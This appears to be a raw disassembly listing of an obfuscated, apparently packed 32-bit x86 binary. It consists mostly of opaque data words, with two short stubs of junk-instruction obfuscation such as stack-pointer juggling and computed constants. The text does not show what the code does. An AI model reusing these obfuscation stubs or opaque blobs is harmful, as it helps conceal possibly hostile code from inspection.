		dd 5B7A20D7h, 0DF708276h, 0F4BB19h, 765B7AE8h, 0C29EA078h
		dd 35BA8C4Ch, 0B7765B7Ah, 9E0AD2D1h, 20E0A969h,	0F9080F11h
		dd 9857A599h, 0F838122Eh, 22C0C749h, 3A6h, 5EBF261Ah, 3876310Dh
		dd 65FB1392h, 0B7075BD6h, 66BB21F0h, 6214069Ah,	183A9DB2h
		dd 0D79982FAh, 0B2C7030Bh, 857F7466h, 6BED0AEEh, 0B9720605h
		dd 0E08BFD57h, 0B3C72CDEh, 232589DFh, 38B49C7Ch, 0B9215C6Eh
		dd 8975E804h, 0D636C2C1h, 3E908520h, 0DDA52B5Eh, 8F8B5741h
		dd 0C6885C43h, 0D1D6123Ah, 0E27FEC27h, 0B1A37589h, 7C8F9D3Ah
		dd 7EEFACA8h, 887A0C1Eh, 7C8F9D63h, 0D48087C1h,	0AFC50B0Ch
		dd 32B9AB7Dh, 587C8F9Dh, 0D861BBAEh, 0C781D4C2h, 4D351AC0h
		dd 0E3A705CDh, 332B890Eh, 0D65A47F2h, 0AF000005h, 900826E2h
		dd 0C6D278B8h, 0AE68C74h, 7CB4C20Eh, 0AA7B11DFh, 60A0EB0Ah
		dd 0B878DECAh, 0CD370692h, 4C44BA7h, 0FBEDBF6Eh, 0AE814F4h
		dd 12ACEC76h, 0EE908A26h, 183B162Eh, 57730646h,	0CA1120E0h
		dd 553DFE2Ah, 0FB1DCFD9h, 331194FBh, 46AAEEFh, 5F9DB26Eh
		dd 4DC29E2Ah, 0ACDD0535h, 51374AA8h, 41878852h,	438F8B57h
		dd 0DDFEF5Ch, 0A0A39D0h, 0C0C7CB0Bh, 0C649A018h, 7B1B6806h
		dd 36264447h, 27Eh, 8A261216h, 8444C090h, 0BD6D29F5h, 0DA8C585Fh
		dd 1841DF7Dh, 0F4FBED3Fh, 760AE818h, 0D4E6B016h, 0E818CD22h
		dd 7A395F0Ah, 7BB992AEh, 79B991A1h, 350692BAh, 1862897Bh
		dd 84C00AE8h, 4D991326h, 980AE818h, 6AB171B7h, 4AC184A2h
		dd 4FF02FFh, 0CB760000h, 97A77319h, 0AFED0553h,	75D1C967h
		dd 8039FB5h, 0E173A2C8h, 3D5B99B2h, 0C59353E5h,	8EA46C2Dh
		dd 51FF3D12h, 1DD28454h, 8F0AE813h, 26129B33h, 71EE908Ah
		dd 31841DFh, 0DF815345h, 0AE81818h, 5F94468Ah, 0CD0AE818h
		dd 0D566258Bh, 0E88646C9h, 0A8D91F30h, 0C941391Eh, 96AB09h
		dd 0E4AB427Eh, 59390E24h, 582CE447h, 1BEh, 0A1672830h
		dd 0C3013690h, 6E62ACC9h, 38DC54B5h, 58E92F60h,	8F1937F4h
		dd 999E5AF3h, 0B9930FFBh, 3A84C1D7h, 0D66BED18h, 0EE4709E2h
		dd 5149970Ah, 0EA728111h, 2A302Ch, 12680000h, 0EE908A26h
		dd 183B2BA2h, 0AA6A20F2h, 1E53B197h, 9D47F68Ah,	0CC01EA9Eh
		dd 419F0AEEh, 0FB791969h, 0F5382CEAh, 10000000h, 90A16728h
		dd 0CDDF0536h, 87690535h, 1194FC70h, 5349AF2h, 932F1C03h
		dd 0F1CD7CBCh, 16F09E5Eh, 119501ABh, 9BB177D8h,	0EBA37F01h
		dd 403A1A2Fh, 1194F8ABh, 36E65F39h, 0FA00ED95h,	0E1A94F4Ch
		dd 6C895B4Dh, 0DC033B30h, 916B2862h, 183D012Fh,	0B672DBE7h
		dd 6D3F9D83h, 0CB1B225Bh, 293C5D78h, 671ADA71h,	0D37822E1h
		dd 0B49BE157h, 0A1674h,	49AFB1C0h, 14DB8D5Fh, 960AEB85h
		dd 65288EE9h, 4FAD7EDFh, 0DF06E048h, 9BE53532h,	0C8929199h
		dd 409D9D43h, 84C187A6h, 38F48B5h, 5BE60000h, 67D7C369h
		dd 3F1D95A3h, 0C54159F7h, 98B36F05h, 51E33258h,	8DAB6922h
		dd 55E32315h, 1E34FC5Dh, 214F8D82h, 0AD4234C4h,	3F0AE812h
		dd 63286BA3h, 341B97BDh, 9A8FB7EBh, 0BA8653D0h,	0F7553B4Eh
		dd 0B421FB91h, 4B1CEDEh, 641600F8h, 1194A18Fh, 92B47B1Dh
		dd 90A16728h, 13D17838h, 654E15Eh, 0E538974Fh, 73BF9B87h
		dd 81595E3Eh, 0F2204E8Eh, 0CEB06A06h, 183AE73Ah, 0BDD8F28Ah
		dd 2AF12EA2h, 0D9A3F9E2h, 4FF1036Eh, 0A3192AE9h, 0AEE7C4Ah
		dd 0AD7C39Dh, 0F331183Eh, 27E9BB6Dh, 0EE7CBE35h, 5E282C0Ah
		dd 0AEE7C99h, 7B0EFA46h, 7044015h, 0AA5DA355h, 0AFA91194h
		dd 67281581h, 13690A1h,	7B47B5C3h, 4D4335E7h, 99183B1Bh
		dd 955E4AFFh, 0B0AEEDEh, 1020C5FDh, 0C448F93Fh,	8E0B0C7h
		dd 33D32CEBh, 8B000000h, 908A2612h, 3B2BA2EEh, 809AF218h
		dd 0E59454F0h, 1D8FBC63h, 0AEECCD2h, 53E4BC4Ch,	0DDC4BE72h
		dd 2CB2846Eh, 4919B16Fh, 2CEAFD49h, 0D948h, 1A262000h
		dd 0D9BFF23Eh, 0C90F00DAh, 0E72D6EB8h, 1C74852h, 5C934517h
		dd 831194FCh, 5B3D4C8Ch, 0F4454A02h, 89A7652Ah,	9501823Fh
		dd 0DE1E3111h, 11D778B0h, 0D4864860h, 1194F71Fh, 24C4CB8Dh
		dd 24D6C05Ch, 183B13C4h, 6097790Bh, 8F0AEEDBh, 7B1D4888h
		dd 8FA5A3B4h, 0DBCD6129h, 97819129h, 226E3211h,	0CECD53E6h
		dd 6C528B59h, 0E618CF48h, 235D9264h, 89CF0446h,	0EAA1712Bh
		dd 0BCAE702Ah, 4462337h, 44ECD3B5h, 6121EFACh, 0BAE2ADA6h
		dd 0DEE6E356h, 57000001h, 98103EEAh, 0CEDA70B0h, 32EE844Ch
		dd 64BCDA16h, 5243E9D7h, 78B89302h, 0B070C6D2h,	0C50F0E9Ah
		dd 1CDC73AFh, 0F3E5B776h, 0AE810FCh, 26A4146Eh,	0FC8D6214h
		dd 791F1194h, 65ABE0BAh, 0BC7CD3CFh, 26126696h,	0A2EE908Ah
		dd 0F2183B2Bh, 96AB6920h, 0BA4650B6h, 831F529Eh, 583C4D8Dh
		dd 0B40435FAh, 0D564ACECh, 2FB84C73h, 0B10AEECCh, 0A7EFBB17h
		dd 0EA2CEAFAh, 0C4h, 0B8BF2642h, 0C9635B43h, 6728F2B1h
		dd 92F0301Bh, 0F90CDDFh, 0D219CB1Ah, 501194DBh,	0DDE2C934h
		dd 9A56F2AEh, 3C4ECD95h, 777C6E1Ah, 0F511941Ah,	187C0D93h
		dd 0A81587BAh, 0DB11941Fh, 29EB474h, 5ABACF0Dh,	36D8F26Eh
		dd 183A32B6h, 0A2103E5Eh, 9E405AD6h, 11969CC9h,	770B1D7Bh
		dd 0BA761CC4h, 0AA6F5391h, 4EBAE1E1h, 0F70EFBh,	0C34E0000h
		dd 9FBF6B01h, 57E53D5Bh, 6D29C16Fh, 301B97BDh, 0E94B5AF0h
		dd 3543818Ah, 0FD9B5BFDh, 86AC1425h, 49E7256Ah,	15DA8C5Ch
		dd 970AE80Fh, 1426830Bh, 7100C04Ch, 0FCD61DEFh,	30541194h
		dd 3CE45773h, 77B59A16h, 7196CFD9h, 6F5BE7B9h, 0B80B7ADAh
		dd 67C7C44Bh, 90A16728h, 0B5C30136h, 25EDAF73h,	1714DC7Dh
		dd 3158971h, 41DFFE51h,	308EF718h, 0F54643B8h, 0CA140106h
		dd 11208642h, 6129E9BBh, 0BA8C90A1h, 0AE8E335h,	42C9D1B7h
		dd 0AA69EF82h, 68235FF0h, 8E504AA8h, 0E8E317DCh, 9547950Ah
		dd 0AE8E35Eh, 7E2A88CCh, 0E26217DDh, 0B49B173Dh, 6DD7C574h
		dd 3B3B537Dh, 3D7C0C69h, 0E824B9Fh, 0E2B78ADCh,	4744AA42h
		dd 45CA2199h, 1E31E987h, 434CCDEh, 0E4ABADDCh, 3CF4B57h
		dd 0DDF52B6Eh, 85D31126h, 30EA2A6Dh, 2AE92F60h,	3AC19h
		dd 36EE0000h, 0BF6D2816h, 0D91F308Ah, 0F53F1EA8h, 14D47A44h
		dd 32F25965h, 28E8A37Fh, 41818D19h, 7CA49630h, 9959F1CDh
		dd 8957E2E8h, 4C781E7h,	83000000h, 3C8704EFh, 34895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	6CEAh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4CD3605h
		not	esi
		shl	esi, 4
		sub	esi, 40D947BCh
		shl	esi, 2
		shr	esi, 2
		add	esi, 0D4598C03h
		mov	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	esi
		mov	esi, ebx
		mov	[edi+8], esi
		mov	esi, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55EA8A
; ---------------------------------------------------------------------------
		dd 0ED9450FBh, 0C0948569h, 0ACEE82B8h, 0FFC50306h, 1CF270E0h
		dd 0B011982Dh, 34E4F36h, 3D8A4C7Fh, 0B7D34E40h,	0CCABC85Ah
		dd 2D8E1F53h, 0E598AE69h, 0E33FBC58h, 0B51DF019h, 0C9E4ED47h
		dd 21ED0D01h, 66D29271h, 0D81AB53Bh, 0B3AA923Bh, 5FA20D19h
		dd 69D1912Dh, 0EC692552h, 141F9703h, 3269F744h,	0D26CD23Bh
		dd 0F4412E6Ch, 0E5696A2Eh, 0D240772Bh, 0FD605E51h, 0D188B46h
		dd 0D07FD0Eh, 275D4D33h, 618D8D21h, 6A06ACF0h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 1832C353h, 2960116Fh, 0A61E4DB5h, 0D9BD8906h, 6106A630h
		dd 6AD8D89h, 0BA6606A6h, 85C7766Ch, 6A6040Dh, 68F8h, 0BE8h
		dd 7586900h, 59E09788h,	88130D54h, 0B138B866h, 0E985C75Fh
		dd 6A60Bh, 0E8000000h, 0Ah, 3B0884C3h, 835E7F35h, 8B66D69Eh
		dd 0B5FF5FC7h, 6A61155h, 11E9h,	25CCEA00h, 0F747CEA4h
		dd 731A4D82h, 45B1E130h, 95FF4F83h, 6A61A79h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 31C35747h, 0D781474Dh
		dd 3BC2440Dh, 5399501h,	6A06A6h, 295995FFh, 0C08B06A6h
		dd 2D387EEBh, 5CDF407Bh, 0AB36A654h, 6CECEFC6h,	87E6AE29h
		dd 927A4964h, 0CC05380Ch, 0F2183FCEh, 4A50710Dh, 71531DF6h
		dd 959EA0BEh, 0D1719CB9h, 0CB16CBCAh, 0A6F98412h, 0DB640941h
		dd 0CBF04AD2h, 11DE3FE4h, 0F357F0E6h, 6A0612CDh, 0B0B4619Fh
		dd 7B45196Ah, 0EBA16578h, 0CAD94C90h, 0B3745243h, 8BD68543h
		dd 1255F9F5h, 7597C3BEh, 7EA9AD9Ch, 0FE3F44B1h,	8D5B445Dh
		dd 9BBDD071h, 7FC9000Dh, 14E8h,	675FEF00h, 0E68C8EC3h
		dd 5F41E4C5h, 0D5A99299h, 7E9C5013h, 0B589584Eh, 6A60659h
		dd 68DEC081h, 0B570000h, 0A62911B5h, 14B95F06h,	0E900001Ah
		dd 0Fh,	366CE3AAh, 0E5AF4421h, 0C70BA7BFh, 8B80EA18h, 0F1953118h
		dd 8106A615h, 504F8AEBh, 8DB58B03h, 8106A610h, 6FE69C3h
		dd 519D894Fh, 8106A62Bh, 6E9044F3h, 8D89531Fh, 6A60D01h
		dd 0B58B008Fh, 6A618ADh, 8904E883h, 0A622B59Dh,	1E98106h
		dd 0F000000h, 0FFFFB685h, 0ADB589FFh, 0E906A618h, 24h
		dd 0CDDBE8Bh, 8	dup(0)
		dd 5C4E9h, 1FF5F200h, 49A3BB82h, 7A9051FCh, 0AE40602Fh
		dd 0DE083413h, 0AA53843h, 0DA65B066h, 0EDA8E50Bh, 0BE9914C2h
		dd 6BCB46ACh, 18D172E5h, 0A4C73360h, 6D875B9Eh,	39EF913Ch
		dd 49ED903Fh, 0CCE945EEh, 837F6B35h, 520BE5C4h,	0F05F1260h
		dd 0F6118F2h, 0E9BDD681h, 37A335CCh, 0E9658E29h, 9F0B35CCh
		dd 866C7EC5h, 54BEA8E7h, 83F6FA0Ah, 5D9D93FAh, 7A6FA607h
		dd 7F31DC3h, 0D13B2F66h, 669C64A8h, 8C812295h, 3B9735CCh
		dd 3B49514Fh, 8613F9E9h, 0F74294BFh, 5601A548h,	35CC8C3Dh
		dd 0A2DBB723h, 0EB927C63h, 2B3984A4h, 1DB0E9C5h, 6987A64Ch
		dd 0CC8CA5CEh, 785F4B35h, 87C140B2h, 0EB18B339h, 0FD35CC8Fh
		dd 53F05B05h, 4535CC8Fh, 0B9CB176Dh, 17FDED4Ah,	1DCBF65Dh
		dd 4FA58580h, 4096BA21h, 0F65D9332h, 0C84B19F7h, 35CC8F5Eh
		dd 0A350A288h, 8F11B225h, 0AB0735CCh, 0C2853CD9h, 44C4F0FEh
		dd 4E000000h, 3C6D875Bh, 0CCE9769Dh, 84FEA435h,	0FEA4E900h
		dd 1A8F0h, 5B6A0000h, 0A00F6983h, 0C01639BCh, 10492599h
		dd 0DE71D4AEh, 14BBE208h, 17BCBA54h, 6A7BD57h, 0B260929Eh
		dd 0B15F0DB4h, 1DCD48C5h, 5B60BAF7h, 7B016FB9h,	0CCE9B3D0h
		dd 8E239435h, 9035CCE9h, 0BD950D3Ah, 0C21E8058h, 0DA0B2DDh
		dd 5F0EE4C2h, 0CDE34FEh, 0DC7BB660h, 0A45E40Eh,	7B8AB359h
		dd 0E50BD964h, 293D5009h, 48A284C3h, 47E3011h, 9DF78385h
		dd 0DA77E06Eh, 0CC35CC50h, 7153FED6h, 759DFF39h, 0DB9B06FFh
		dd 0ADBAF0FEh, 78000000h, 16FB95Bh, 37358C5Ah, 423EA0D9h
		dd 78ADA71Bh, 70FE14D5h, 0A8A4689Ch, 253FA1D5h,	0FE141C80h
		dd 0D8D2002Ch, 0A47254A5h, 6CBAA5E2h, 761A2570h, 9B3AE5A4h
		dd 938F4AC5h, 38855BEAh, 49A7C628h, 0CC6B45EEh,	837F6B35h
		dd 7735C997h, 0A2FE9BEh, 2EFE2F25h, 0A403F002h,	0C53D6C86h
		dd 678269ACh, 1F5541F4h, 0FE77BBE6h, 559AF0h, 5B180000h
		dd 7B016FB9h, 0CCE9B3D0h, 9C3FA535h, 35CCE977h,	0DF958179h
		dd 0EA3C276Eh, 0B71C54B3h, 0B62C5DB7h, 9A611D0Bh, 0FB847091h
		dd 0A9790BE5h, 31E7895Bh, 0E50EA937h, 8B35CCD3h, 0F20C451Fh
		dd 3069835Bh, 0CCE97591h, 8BF9A135h, 0FEA4D40Fh, 193F0h
		dd 7A1F0000h, 873BC98Ah, 4F1DD794h, 10BFB5A1h, 4D80B953h
		dd 0BED6779Dh, 11D20072h, 0F29EFCFFh, 0BFAB57B1h, 0CA7C5DB1h
		dd 338539F2h, 7E046021h, 0CC83B4DDh, 3240BA35h,	0D7800BCAh
		dd 35CC83BAh, 1C5A36ACh, 0ACB026E0h, 0CC3FE60Bh, 22128835h
		dd 7DF7857Dh, 7A3E44F7h, 0EAC03EB2h, 7FE6708Ch,	6F4C01BAh
		dd 9A8A0388h, 89DB80F1h, 17F9E924h, 33280932h, 0F04D390Eh
		dd 0F17F9555h, 0CA73994Ah, 55BFAFE8h, 0C46BAE1Fh, 0B2336AD8h
		dd 8A588AF8h, 786AD560h, 86A4EB92h, 525C3D6Ch, 1AF0F220h
		dd 0DC6DA18Fh, 0FD72322Ch, 2647ADB9h, 5BB2C0BCh, 0F65861A0h
		dd 53B9AD0Ah, 0C1BAC82Ah, 150h,	77E11C41h, 0C5A39F71h
		dd 0B2FE6412h, 87B3433Eh, 10DBE5E0h, 0AE04BBC9h, 789250FFh
		dd 0F8E4432Dh, 16D07F2Eh, 65514DFCh, 6882A0EFh,	26CC9E31h
		dd 0F60C0607h, 51EC0624h, 580209A0h, 7048F6h, 92180000h
		dd 6A5B8839h, 0C0FAD933h, 84ACD074h, 2D65FFEBh,	0A526E71Ch
		dd 5E15DB73h, 9872701Fh, 6701FDE1h, 0D7307AFh, 0C79DE377h
		dd 6A35FE59h, 4FBBB5CCh, 0C248D61Eh, 0CC6BF869h, 47F4EEB5h
		dd 0B5CC6B2Ah, 0B8CC63Ch, 0B5CC6BE6h, 0F5067CB6h, 0E072984Eh
		dd 3C3ADF14h, 0CC6B169Bh, 33315835h, 8874C6D9h,	0CEBA1FB2h
		dd 0FA37239Fh, 9F7Ah, 0DD7A2E00h, 58BAE309h, 0A03C20Ah
		dd 0C38BCB6Ch, 77633EB2h, 895F42E9h, 3194EED0h,	3826CC9Eh
		dd 726F093h, 8D88C99Bh,	0F31637DDh, 336AF159h, 39608E5Dh
		dd 0ED4EEA96h, 336AF544h, 0E584706Ah, 0F583208Bh, 3D95336Ah
		dd 21A0D2DCh, 0FC2E642Eh, 0ACC576EEh, 0B2336AF5h, 8CBD570Bh
		dd 9F382612h, 336AF572h, 7928E64h, 0D9877E7Fh, 1D86517Eh
		dd 0D6B4738h, 0A869BBA6h, 0AED6A68Ah, 0AD00524Eh, 0F3AA4062h
		dd 0D6FF175Dh, 0E2789C8Eh, 0E6D2042Fh, 0DB4E446Ch, 0D285E31Ah
		dd 33E81535h, 207AB723h, 3A24E11Ch, 782214CAh, 92E0CE2Ch
		dd 9D9860Ch, 12E91E3h, 173EBB7Ah, 3BC56EC9h, 0FFEB3361h
		dd 7CDF6503h, 33613BD7h, 1AF2169Eh, 0A5D237DAh,	7F96374Dh
		dd 0FB11D26Bh, 0D78BB20Fh, 7BE00C3Dh, 0E036DA63h, 1B6945B9h
		dd 0D2500EB8h, 0B3650825h, 50F15A8Ah, 4624D242h, 0D13B236Ch
		dd 0ADE7ABA8h, 1C76322Ch, 0ADF21CCEh, 0B351A3A4h, 2A91DFCBh
		dd 48AAD339h, 0A2B05A0Fh, 6C82A0EFh, 553E3FDAh,	1A433F02h
		dd 621BF5EBh, 5FACE622h, 4947D3A7h, 0F381B5CBh,	39749E4Ch
		dd 87A64C1Eh, 1A61h, 9F4CEB00h,	7AA3FF75h, 89E9C38Ah, 0D6ACF7A6h
		dd 0AEE262Ch, 33F70E78h, 5B374B19h, 9E316882h, 0C80726CCh
		dd 3B4AF325h, 7C93CA24h, 0A8E78650h, 0E42B5284h, 0DC732AC4h
		dd 944E50Fh, 0A496B75Dh, 648C68h, 24248900h, 4B951h, 4C010000h
		dd 68590424h, 2F44h, 68240C89h,	44AAh, 50241489h, 0F1A9BA52h
		dd 0D08906ACh, 58C1895Ah, 24148B54h, 4C481h, 56530000h
		dd 8BEh, 5EF38900h, 0B89D301h, 2434FF5Bh, 4C4815Ah, 8B000000h
		dd 8950240Ch, 405E0h, 0C0830000h, 24048704h, 8641E95Ch
		dd 47BBFFF9h, 0F700B89Ah, 0C50306ACh, 1C5FE0FFh, 1AEC0456h
		dd 81FC7A6Ch, 3C91068Ah, 0CA864013h, 4E94D0Ah, 3C000000h
		dd 0E93829ABh, 55Ch, 0A5F01AC3h, 0EB26CC9Ah, 0D855BFACh
		dd 34816F7Dh, 64B16709h, 456F8825h, 283F0693h, 21CC4BC6h
		dd 0CF93BAF7h, 48AE825h, 601E3E53h, 0BD852033h,	3C6D875Bh
		dd 0EC39EF91h, 326B81A1h, 425CF93h, 56F71DC9h, 0C330426Eh
		dd 0EBF84564h, 8A741501h, 2E974BF8h, 0AFFAD63Ch, 9E2BFDE0h
		dd 235A8CB7h, 6240FDECh, 0F1EDD188h, 86FC0448h,	227FA954h
		dd 0FCAD471Bh, 0CCE9315Dh, 0D8363535h, 92786EA1h, 0EC26ECEBh
		dd 0E917BC1Fh, 0A11935CCh, 22505AB5h, 90466AD1h, 0A4F02BC2h
		dd 6BCFF0FEh, 73000000h, 36D875Bh, 0BC59DEF3h, 0F0827A92h
		dd 8F973E5Dh, 5D4535CCh, 7A6FD427h, 7FF5E990h, 0FEC26B86h
		dd 0A2AF0h, 0CA3A0000h,	0E55CD810h, 7D354F37h, 0F69835Bh
		dd 0B6BD8D81h, 0E7BB6DD3h, 0CC3E3F54h, 0BBC92135h, 9E3FB0Ah
		dd 0C12F3D50h, 0C02A38A7h, 9F757699h, 30A9B3A3h, 97C6DDA7h
		dd 0AC7468DDh, 48A28456h, 7A9052FDh, 0B95B932Fh, 0A4C52F3Ch
		dd 0F01F4E3Ah, 0EC6D1CF6h, 0C5CAC60h, 0C3DC51BCh, 0C11361B1h
		dd 0C06F09DFh, 3D5009E3h, 2599C02Eh, 0DF663B49h, 34B8E10Bh
		dd 3F35DF8Fh, 39D390h, 7586FCB4h, 35F022CEh, 0B0EF2B24h
		dd 625C0DF9h, 0B7AEF510h, 0F358F0FEh, 7B6706D0h, 0A88EE9h
		dd 7A340000h, 1B32F58Ah, 2C264CECh, 722BFDE7h, 45E40ED3h
		dd 0F7255F5Bh, 0A68E1BCDh, 0CCC62839h, 38CCA0B5h, 0C9355440h
		dd 3C36DC8Eh, 0C349ED97h, 0CCB0FB68h, 46F5ED35h, 35CCB02Dh
		dd 98538874h, 7522D0EAh, 55F8A19Dh, 8DC07997h, 0FB0A33D9h
		dd 9D4E09E3h, 0BD71D677h, 28C0C647h, 9F8229DAh,	57C23B49h
		dd 76F0FE57h, 6Ch, 895F41EEh, 0EE274CEFh, 0D1C935CDh, 0B95BCF83h
		dd 0EC973E6Fh, 0CC84033Ah, 0E97C9546h, 0DB6235CCh, 52FDE903h
		dd 3BE77D93h, 0F6CA3AC9h, 1F311ABFh, 88952B1Bh,	1FFF55FBh
		dd 4D2FE45h, 835B7D89h
		dd 82A00F69h, 0E910B11Ah, 0AC0635CCh, 0C003A2B0h, 35CCE9A6h
		dd 0DC58AA70h, 0F0FEA425h, 0B64h, 0C576FC00h, 35CCE5ACh
		dd 760A58B2h, 26C865Bh,	3E6F85A5h, 0F01F8EC4h, 0F15E18F2h
		dd 0F6118CEh, 0CCE907ACh, 0C5B12935h, 2AF61E8Fh, 0B3590AD8h
		dd 678C2FB5h, 935CCE9h,	0C08EC391h, 0E06E0805h,	0CCE9DA77h
		dd 9CD6CC35h, 0D71DA516h, 0C9213EB2h, 2FA05C90h, 9CC361FDh
		dd 4664ABB9h, 343611ACh, 0C56CAFDEh, 0B3336A99h, 8B5F8D87h
		dd 7969D461h, 875BEA93h, 535F3C6Dh, 5EFF321h, 0D420DB88h
		dd 637FF658h, 0F1000001h, 0D7769C4Ah, 54BEACEBh, 0E11C421Eh
		dd 0E5913A24h, 0F13EB2FEh, 0FCA3C06Bh, 5DB5336Ah, 0FB43861h
		dd 0F869C25Ah, 0EE336AFCh, 697F18F4h, 6446CD87h, 5614338Eh
		dd 93638DBCh, 521B9F45h, 0B9065C82h, 251A43A9h,	19C91B69h
		dd 12C9A6F3h, 51F658EAh, 7Dh, 33DD7AD1h, 85A44E5h, 640207FCh
		dd 4AE750DEh, 5C35CCE9h, 0FE700262h, 9C884188h,	78BC75C6h
		dd 0C822B5CCh, 699D56AEh, 0DFD90593h, 40E12085h, 68B5CCD0h
		dd 2F96CA6h, 35FE5907h,	8A35CCD0h, 0E0833E2Dh, 0BFAB1736h
		dd 4D91108Eh, 0E353F18Fh, 0ECC67DF7h, 0EB012582h, 7F3240B2h
		dd 0A3C06BF1h, 8435CC95h, 0CC95BED3h, 1D4AA035h, 9B49AFA5h
		dd 0C3000000h, 0DCDD3E33h, 0E77D1517h, 24E11CABh, 0EC2FCA3Ah
		dd 1B26593Dh, 0F65DDB49h, 7E721AF4h, 75D47B7Eh,	4D2FE99h
		dd 0A8EB7965h, 3EB23E16h, 73994AF1h, 316842E1h,	3826CC9Eh
		dd 0E750CC93h, 336BFE4Ah, 0F88A665Ch, 26CC9EB9h, 24CE9338h
		dd 305CFF2Eh, 7E336BFDh, 0DE8C5EB4h, 0DF8D2A34h, 0F2AB4162h
		dd 0DA751400h, 4E09E50Bh, 0A1E07298h, 8FE924A1h, 1CF8102Ch
		dd 80FF1738h, 78EE767Fh, 88376CE6h, 950930DAh, 9D4D80B9h
		dd 72BED677h, 0BD589500h, 0B57C18B3h, 900A33EFh, 0E11CC905h
		dd 0E39A4C77h, 799350FFh, 4C48E38Dh, 5A3EBBE0h,	0EE912C33h
		dd 0A11D4C38h, 697994B5h, 6E7EE583h, 112859F2h,	0C43E3360h
		dd 78C79AE8h, 0BAD9806Ah, 71FFC7D0h, 7A89FBA7h,	789257FCh
		dd 15BEDDC1h, 1B70FEA7h, 0FD16C1AFh, 0E370FEA7h, 14D67DF7h
		dd 0C6E4A3FEh, 12D27D2Ch, 0C5034DFCh, 9364749h,	0EE64476Eh
		dd 4062B0C2h, 32301FAAh, 0D7AE61DCh, 0E3DFC285h, 322BAh
		dd 1E660000h, 68825B82h, 26CC9E31h, 0F325C807h,	0CA243B4Ah
		dd 86507C93h, 5284A8E7h, 2AC4E42Bh, 0E50FDC73h,	0B75D0944h
		dd 8953A496h, 4C381E3h,	83000000h, 1C8704EBh, 24895C24h
		dd 24048124h, 4, 81E18951h, 4C1h, 4E98100h, 87000000h
		dd 895C240Ch, 89512434h, 4C181E1h, 83000000h, 0C8704E9h
		dd 14895C24h, 0D8B95124h, 81199A51h, 12A5C0C1h,	8BCE89EDh
		dd 0C483240Ch, 148B5404h, 4C48324h, 8B951h, 0C1810000h
		dd 7CFF00ABh, 0E981D101h, 7CFF00ABh, 8B593189h,	89502414h
		dd 405E0h, 4050000h, 87000000h,	0FF5C2404h, 835E2434h
		dd 0C4E904C4h, 9EFFF980h, 1DE7A2D5h, 33D129Ah, 2C31A9D6h
		dd 0ACFC52B8h, 0FFC50306h, 311D82E0h, 88354A2Fh, 2557800Bh
		dd 1A06BF77h, 0D8FEE821h, 5738271h, 0D9770834h,	8DA8F91Fh
		dd 0DA66E22Bh, 9AD54A6Ah, 1937E052h, 70BD260h, 0BFBED170h
		dd 0F0A9A56Eh, 60111966h, 0B26A8E3Dh, 4AA98A13h, 43CC5B72h
		dd 0DDF19B1Dh, 53D9F322h, 0C783B154h, 2E0BA76Dh, 85935D0Ah
		dd 7C83B361h, 0B9A8DA00h, 5E86Fh, 0B52C0000h, 60E4250Ch
		dd 58C78B51h, 11870Fh, 0BE80000h, 58000000h, 7EF89CCAh
		dd 0E38BB472h, 615ACB5Fh, 820F565Eh, 6,	49A2D081h, 81593AD8h
		dd 7153C6h, 88DF8100h, 6878D8F1h, 0
		dd 39E88166h, 0CE95B7Fh, 0AF000000h, 683ED6BEh,	42815648h
		dd 0FF763400h, 0F55A3334h, 0EE1AEA81h, 0C28108B4h, 40A03077h
		dd 2890Fh, 0C78A0000h, 300EF281h, 0EB8A7FC1h, 1E048F52h
		dd 0BB23BF66h, 60585BB9h, 4EB837Dh, 89B86656h, 0FB8158B4h
		dd 0FFFF8F48h, 0FFBD850Fh, 0B70FFFFFh, 0C98D8DCBh, 6A06ACFEh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 8AFBC353h, 6AD8D89h, 6A06A6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 1FBB8BC3h
		dd 9D8B6A7Bh, 6A62D0Dh,	40D85C7h, 62CC06A6h, 0BF0F0000h
		dd 0E985C7F0h, 6A60Bh, 89000000h, 0A61B91BDh, 65B5FF06h
		dd 6A06A611h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 6C8EC352h, 1A7995FFh, 6A06A6h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0A57566C3h, 81666325h, 66FD7FDBh, 6AF08Bh, 295995FFh
		dd 0C08B06A6h, 9FA7AEBh, 2715B74Fh, 8A35FC70h, 0AA088D50h
		dd 0C1D43BB9h, 0C93FB78h, 0F56A74ABh, 0E9463AC2h, 85D1327Ah
		dd 0F4BF3C4Ch, 0FBB422D9h, 6E1F889Fh, 0F7EBFE25h, 9772F3C6h
		dd 0C607366Ah, 6A77C683h, 0D1091416h, 9015F632h, 87101576h
		dd 0A502D5FEh, 5055478Ch, 0FF7E2FAEh, 66FD73Eh,	0EA56D3EDh
		dd 6B03805Eh, 0E456E5F4h, 0B53F6118h, 0DE5F101Dh, 8ADAA4B1h
		dd 2A7E60EFh, 8CE5F80h,	10E8h, 9D2C800h, 6A2910D7h, 77A9B468h
		dd 41D7B057h, 59B50148h, 5906A60Dh, 2ACDB58Bh, 0C18106A6h
		dd 69C7h, 68h, 81BD8900h, 5806A634h, 0D1952960h, 0BF06A62Dh
		dd 0E0F0F47h, 13C8B61h,	8E9h, 0E63F7C00h, 2F28BCC6h, 9EF81C8h
		dd 8B3CE748h, 7DEF81F2h, 0E90559C9h, 5,	69740082h, 0A1EF819Eh
		dd 300CB31h, 0A61EDDB5h, 13C8906h, 89D0BF0Fh, 0A633C195h
		dd 3AE88106h, 0F6974A3h, 1989h,	12E95300h, 0BF000000h
		dd 0E8BD775Fh, 20C72390h, 7FAE60FFh, 76C568D1h,	0C0815E30h
